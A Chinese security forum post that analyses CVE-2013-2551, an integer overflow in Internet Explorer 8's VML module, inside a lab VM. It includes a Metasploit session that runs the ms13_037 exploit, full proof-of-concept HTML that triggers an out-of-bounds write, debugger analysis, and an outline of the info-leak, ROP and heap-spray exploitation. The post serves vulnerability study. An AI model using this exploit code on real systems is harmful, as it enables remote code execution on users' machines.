首页
社区
课程
招聘
[原创]CVE-2013-2551漏洞分析(整数溢出
2020-2-19 16:05 7329

[原创]CVE-2013-2551漏洞分析(整数溢出

2020-2-19 16:05
7329

目录

01-漏洞描述

  • 漏洞战争:该漏洞出现在 IE 中负责解析 VML(向量标记语言,用 XML 语言绘制向量图形)的 vgx.dll模块,由于在处理 VML 标签时对输入参数未做有效验证导致整数溢出。
  • https://cve.mitre.org:Use-after-free vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, as demonstrated by VUPEN during a Pwn2Own competition at CanSecWest 2013, aka "Internet Explorer Use After Free Vulnerability," a different vulnerability than CVE-2013-1308 and CVE-2013-1309.

02-测试环境

  • 目标系统:Windows7 专业版 SP1(虚拟机
  • WinDbg:动态调试
  • IDA Pro:静态分析
  • IExplore 8:漏洞软件

03-漏洞验证

  1. 使用msf

     # 搜索并使用模块
     msf5 > search cve-2013-2551
     msf5 > use exploit/windows/browser/ms13_037_svg_dashstyle
     # 设置payload
     msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > set payload windows/exec
     # 设置payload参数,弹出计算器(exploit模块参数保持默认即可
     msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > set cmd calc.exe
     # 攻击:开启服务器,等待目标连接
     msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > exploit
     [*] Exploit running as background job 0.
     [*] Exploit completed, but no session was created.
     msf5 exploit(windows/browser/ms13_037_svg_dashstyle) >
     [*] Using URL: http://0.0.0.0:8080/hvMannCwdGn0
     [*] Local IP: http://172.20.10.4:8080/hvMannCwdGn0
     [*] Server started.
     # 靶机打开恶意链接后,成功弹出计算器
     [*] 172.20.10.4      ms13_037_svg_dashstyle - Gathering target information for 172.20.10.4
     [*] 172.20.10.4      ms13_037_svg_dashstyle - Sending HTML response to 172.20.10.4
     [-] 172.20.10.4      ms13_037_svg_dashstyle - Exception handling request: undefined method `report_client' for #<Metasploit::Framework::DataService::RemoteHTTPDataService:0x00007fb1ecde4158>
     Did you mean?  report_event
                    report_loot
     [*] 172.20.10.4      ms13_037_svg_dashstyle - Sending HTML to info leak...
     [*] 172.20.10.4      ms13_037_svg_dashstyle - ntdll leak: 0x76de70b0
     [*] 172.20.10.4      ms13_037_svg_dashstyle - Using ntdll ROP
     [*] 172.20.10.4      ms13_037_svg_dashstyle - Sending HTML to trigger...
    
  2. 使用《漏洞战争》提供的POC,GitHub地址:https://github.com/riusksk/vul_war

    IE8打开poc.html、选择“允许阻止的内容”、点击“crash”按钮,IE崩溃,poc源码如下

     <html>
     <head>
     <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
     </head>
     <title>
     POC by VUPEN
     </title>
     <!-- Include the VML behavior -->
     <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
    
     <!-- Declare the VML namespace -->
     <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
     <script>
     var rect_array = new Array()
     var a          = new Array()
    
     function createRects(){
         for(var i=0; i<0x400; i++){
             rect_array[i]    = document.createElement("v:shape")
             rect_array[i].id = "rect" + i.toString()
             document.body.appendChild(rect_array[i])
         }
     }
    
     function crashme(){
    
         var vml1  = document.getElementById("vml1")
         var shape = document.getElementById("shape")
    
         for (var i=0; i<0x400; i++){                                       //set up the heap
           a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
         }
    
         for (var i=0; i<0x400; i++){
           a[i].rotation;                                                   //create a COARuntimeStyle
           if (i == 0x300) {                                                //allocate an ORG array of size B0h
                vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
           }
         }
    
         vml1.dashstyle.array.length      = 0 - 1
         shape.dashstyle.array.length     = 0 - 1
    
         for (var i=0; i<0x400; i++) {
            a[i].marginLeft   = "a";
            marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
            if (marginLeftAddress > 0) {
                 try{
                     shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
                 }
                 catch(e) {continue}
            }
         }
     }
     </script>
     <body onload="createRects();">
     <v:oval>
     <v:stroke id="vml1"/>
     </v:oval>
     <v:oval>
     <v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
     </v:oval>
     <input value="crash!!!"type="button" onclick="crashme();"></input>
     </body>
     </html>
    

04-漏洞分析

使用《漏洞战争》提供的POC来分析漏洞成因

4.1-触发异常

  1. WinDbg附加IE8,打开poc.html重新测试,发生访问异常;

    image-20200218141741043

    发生在地址4b5f5f4b处,与poc中crashme函数中的代码相关(二者之间具体什么联系,后面探究

    image-20200219131622534

  2. 为了更好的定位漏洞代码,对IE开启页堆机制(+hpa

    image-20200219131658640

  3. 开启页堆后,重新测试,断在memcpy函数处,访问2a47d060时错误

    image-20200218150428461

    观察反汇编指令,“基址+偏移”的形式(而且还*4),断定是数组访问越界,进一步推测,memcpy中传参有误

  4. kb指令查看函数参数以及堆栈调用,可以发现2a47d060是memcpy的第二个参数即源地址,也定位到vgx的ORG::Get函数(kb显示前3个参数

    image-20200218150348789

  5. IDA反汇编VGX.dll文件,函数窗口中搜索ORG::Get函数,F5得到其伪C代码

    由步骤4知,出错的位memcpy的第二个参数即源地址,其由Get函数的参数1、3决定

    image-20200218150807470

  6. 再看栈回溯,Get中的参数1、3来自get_item的参数1、2

    image-20200218151133651

  7. 再回溯,找到OLEAUT32!DispCallFunc,已经脱离vgx.dll,故可以断定,vgx!COALineDashStyleArray::get_item只是用于触发异常,而非真正造成漏洞的罪魁祸首

  8. get_item是windows中的API,一定会对应poc.html中的js函数

    image-20200219131733787

    后面赋值的地址会引发访问错误(步骤1中),而且二者名字类似,因此可基本断定:数组越界访问的错误就是由poc中的item函数引发的//here

  9. item怎么引起越界访问?

    (1)vml1.dashstyle包含 44 个元素

    (2)item函数访问vml1.dashstyle时,指定下标0x2E+0x16=68,必然访问越界

    image-20200219131941625

  10. 访问地址2a47d060时错误,68*4=272=110h,dd指令查看内存分布(L50指定显示多少)

    前面是正常范围的元素1-44,若按照下表68访问,则越界出错

    image-20200218160341014

4.2-实质成因

  1. 由上面分析可知,item函数的调用只是触发异常,并非真正漏洞处,分析poc,在item调用前,发现有修改length的代码,如下

    image-20200219132005334

    赋值比较反常,0-1 = -1 = 0xFFFFFFFF,可断定,这就是引起整数溢出的罪魁祸首

  2. 基于类函数定位的漏洞分析方法(详情漏洞战争 4.3

    如上指令涉及“dashstyle”、”length“等关键字,在IDA中函数窗口搜索;涉及length的有两个,通过名字猜测,put的类似set,是设置xxx用的;

    因此,找到关键函数COALineDashStyleArray::put_length

    image-20200218163044556

  3. WinDbg重新附加IE,在COALineDashStyleArray::put_length下断后,重新测试,页面中点击“crash”,成功进入put_length函数(bu针对某个符号下断点

    image-20200218164050993

  4. p单步执行(步过),寻找敏感点

  5. put_lenth+0x9处,取出第一个参数(具体是啥不明确,后面再说

    image-20200218164817061

  6. +0x6b处调用CElements函数,由名字猜测其获得某元素,dd查看其参数eax,发现有002c=44即vml1.dashstyle的元素个数

    image-20200218170231823

  7. t单步步入,进入CElements内部,+0x5时取出参数1,即vml1.dashstyle数组对象(因为有元素个数信息,故这样猜测)

    image-20200218170554968

  8. 继续p单步,+0x8时,取出vml1.dashstyle数组对象的元素个数0x2c,并赋值给eax即返回值;使用movzx无符号扩展指令,表示此元素个数/数组长度为无符号整数

    image-20200218170825807

  9. 随后退出CElements函数(返回值eax=002c,此函数就是为了获取vml1.dashstyle的数组长度),+0x6e处获取put_length的第二个参数赋值给esi,FFFFFFFF = -1,即poc中设置的

    image-20200218171253277

  10. +0x71、73处,比较eax和esi,即原先的元素个数0x2c和后来设置的-1,jge是有符号跳转,必然跳(正数当然大于负数

    image-20200218171553692

  11. u指令,查看不跳转后是怎么执行的?调用new再分配内存

    image-20200218183444804

    比如,eax=2,esi=5,即原先长度为2,后设置为5,此时jge不跳;

    sub esi,eax(esi = 5-2 = 3,即新增了多少元素

    xor ecx,ecx(ecx清零

    push 4, pop edx(edx = 4,即每个元素大小为4

    mov eax,esi(eax = 3

    mul eax,edx(eax = 3*4 = 12,即新增了多少空间

    Seto cl, neg ecx(SETO-溢出置位、NEG求补,ecx=0,OD中测试后,依然为0

    or ecx, eax(eax 或操作 0,结果不变,依然12

    push ecx, call new(新申请12空间,即原先的空间不足,需要再申请

  12. 实际情况满足jge跳转,继续p,+0xcf处,有一减法操作,因为esi为负数,所以sub后eax不减反增,eax=2c - (-1) = 2c + 1 = 2d,这就是问题之所在

    image-20200218185503958

    正常情况下,如eax=5,esi=3,满足jge,则5 - 3 = 2,eax是要减小的,而poc中设置为-1,使其变大

  13. 随后调用deleteRange函数,传参-1、poc中特殊构造的差0x2d、vml1.dashstyle数组对象

    image-20200218185900346

  14. 内部调用MsoDeletePx函数

    image-20200218191348150

  15. 内部又调用 MsoFRemovePx 函数

    image-20200218191728707

  16. 继续跟进MsoFRemovePx 函数,+0xa7处

    ebx是2c - (-1) 的差值 = 2d,esi所指向数组长度=2c,二者相减,反过来又得到了-1 = FFFF,也就是poc中设置-1;

    但此时,-1已经不是负数这么简单,其在内存是FFFF,相比原长度2c,是一个很大的数

    image-20200218192328863

  17. 若按照正常的情况,比如原先长度为5,新设置为2,则5-2=3得到差值,MsoFRemovePx中sub操作,5-3=2,这个2就是新长度,此时在内存中将长度改掉没有问题;

  18. 现在将数组长度由2c改为FFFF,原则上这么设置没问题,FFFF作为长度也是合理的;但是,之前cmp 2c,-1时,满足了jge跳转,导致没有调用new新申请内存;

    也就是说,实际的内存空间没有增加,仅表面上增加了长度;所以,当通过item函数对数组进行素引取值时,就会导致数组越界访问

    image-20200219131733787

  • PS:
    • 因此可以说,长度设置为FFFF“合理但不合法”;
    • 若用无符号比较,则2c与FFFF,必然通不过jae跳转,老老实实new申请内存,也就没有后面的破事
    • 有/无符号比较:https://blog.csdn.net/u010765526/article/details/73613815

05-漏洞利用

使用msf提供的rb文件来分析漏洞是如何被利用的(利用信息泄漏实现漏洞利用

  1. 创建0x400个v:shape 元素(COARunTimeStyle对象),html_info_leak函数中,如下

    image-20200219142715842

  2. 在第 0x301个时,创建包含 44 个元素的 dashstyle 数组(ORG数组), 总共占空间4*44=0xB0字节

    image-20200219142749801

  3. 当两个COARunTimeStyle对象相邻时,前一个对象的ORG数组就紧挨着后一个对象,通过漏洞对数组进行越界访问,就可以访问到后面对象的内存地址

    image-20200219143349230

  4. poc中a[i].marginLeft = "a";,js中对marginLeft属性进行赋值,对应COARunTimeStyle::put_marginLeft函数(上面所述的类函数定位法),用 IDA 反汇编该函数,发现其将设置的字符串保存在0x58偏移处;

    image-20200219144544318

  5. 0x2C + 8/4 + 0x58/4 = 0x2E+0x16,正好对应item对数组进行索引时的下标,通过数组越界访问,刚好访问到0x58偏移处,即字符串保存的位置

    image-20200219151725437

    image-20200219151615581(来自漏洞战争)

  6. 通过泄露地址固定偏移计算出ntdll.dll模块的版本及基址

    image-20200219152014364

  7. 进而利用ntdll的基址构造出 ROP chain,调用ZwProtectVirtualMemory函数将 Shellcode所在内存设置为可执行权限(修改内存属性:绕过 DEP数据执行保护、rop链:绕过ASLR

    image-20200219152353348

  8. rb文件load_exploit_html函数处,获取payload、进行堆喷射,从而控制程序流程,漏洞利用成功

    image-20200219152711795

(啥时候我能写出这种水平的exp,菜哭了

06-参考文献

  • 《漏洞战争》
  • https://blog.csdn.net/qq_38924942/article/details/88652564

(在家憋死了,我想出去玩,赶紧好起来吧


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2020-2-19 16:13 被21Gun5编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 2020-2-23 13:24
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回